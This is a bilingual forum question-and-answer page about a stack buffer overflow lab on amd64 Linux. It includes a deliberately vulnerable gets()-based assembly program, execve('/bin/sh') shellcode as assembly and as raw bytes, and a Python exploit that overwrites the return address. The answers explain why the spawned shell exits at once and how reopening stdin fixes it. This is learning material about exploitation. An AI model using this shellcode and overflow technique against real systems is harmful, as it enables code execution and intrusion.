简单堆栈溢出的 Shellcode:带有 shell 的被利用程序在 execve(“/bin/sh”) 之后直接终止
我在 Linux (amd64) 上尝试了缓冲区溢出并尝试利用一个简单的程序,但失败了。我禁用了安全功能(使用 sysctl -w kernel.randomize_va_space=0 和 BIOS 中的 nx 位进行地址空间布局随机化)。它跳转到堆栈并执行 shellcode,但不会启动 shell。 execve 系统调用成功,但随后终止。知道出了什么问题吗?独立运行 shellcode 效果很好。
附加问题:为什么在调用 printf 之前需要将 rax 设置为零? (参见代码中的注释)
漏洞文件 buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
编译于:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
起始于:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
使用 gdb 进行调试:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.
Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)
Vulnerable file buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Compiled with:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Started with:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Debugging with gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(2)
我现在在虚拟机中使用 Ubuntu 9.10 时遇到了几乎相同的问题。
禁用操作系统的所有安全措施,并且像“退出程序并将退出代码设置为 42”这样的简单漏洞确实有效,但当尝试打开 shell 时,程序就会终止。
gdb 的输出是相同的:
问题是,我需要它在大约 10 秒内工作。 16 小时的演示:-D
更新:
我发现了这个巧妙的研究:www.shell-storm.org/papers/files/539.pdf
在第 16 页上它说:
“如果我们尝试执行 shell,它会在此配置中立即终止”
在不使用 gets() 的其他示例中,它们很好地生成了 shell。不幸的是,他们没有暗示为什么它不能那样工作。 :(
下次更新:
看来它与标准输入有关。 shell 无法正确使用从原始进程获取的进程。我尝试使用一个最小的 shell,我找到了 (evilsh) 的源代码。它在尝试读取输入时崩溃了。我的猜测是, bash/dash 检查这一点,并在标准输入出现问题时默默退出。
好吧,请不要因为我在这里与自己对话而杀了我,但是......
我找到了解决方案!
由于某种原因,有必要重新打开输入。我在这里找到了一个有效的 shellcode:
http://www.milw0rm.com/shellcode/2040
我没有看到提示,但我可以使用打开的 shell 运行程序等。
I'm having pretty much the same problem right now with Ubuntu 9.10 in a VM.
Disabled all the security measurements of the OS, and simple exploits like "exit the program and set exit-code to 42" do work, but when trying to open a shell, the program just terminates.
Output of gdb is identical:
Thing is, I need it working in approx. 16 hours for a presentation :-D
Update:
I found this neat study: www.shell-storm.org/papers/files/539.pdf
On page 16 it says:
"If we try to execute a shell, it terminates immediately in this configuration"
In other examples that don't use gets(), they do very well spawn a shell. Unfortunately, they don't give a hint on WHY it doesn't work that way. :(
Next Update:
It seems it has to do with stdin. The shell cannot properly use the one it gets from the original process. I tried using a minimal shell I found the sourcecode for (evilsh). It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin.
Ok please don't kill me for having this conversation with myself here, but...
I found a solution!
For some reason it is necessary to reopen the inputs. I found a working shellcode here:
http://www.milw0rm.com/shellcode/2040
I don't see a prompt tough, but I can run programs etc. using the shell that opens.
Zenoc 提供的链接已失效,但仍然可以在 Wayback 机器中找到。为了方便起见,我将其复制如下。我必须在顶部添加
add $0x10,%esp
来给我更多的堆栈空间,因为代码中的所有push
都会进入我的 shellcode 所在的缓冲区存储。如果您也想将其包含到 shellcode 中,只需在开头添加“\x83\xc4\x10”即可。没有我添加的 shellcode 为 55 个字节,添加后为 58 个字节。注意:我无法将此作为编辑添加到 Zenoc 的答案中,因为编辑队列已满。
如果由于终端和 gdb 中的堆栈不同而无法确定 shellcode 的地址,请查看我的答案 这里。
The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include
add $0x10,%esp
at the top to give me more stack space, as all thepush
es in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.
If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and
gdb
, have a look at my answer here.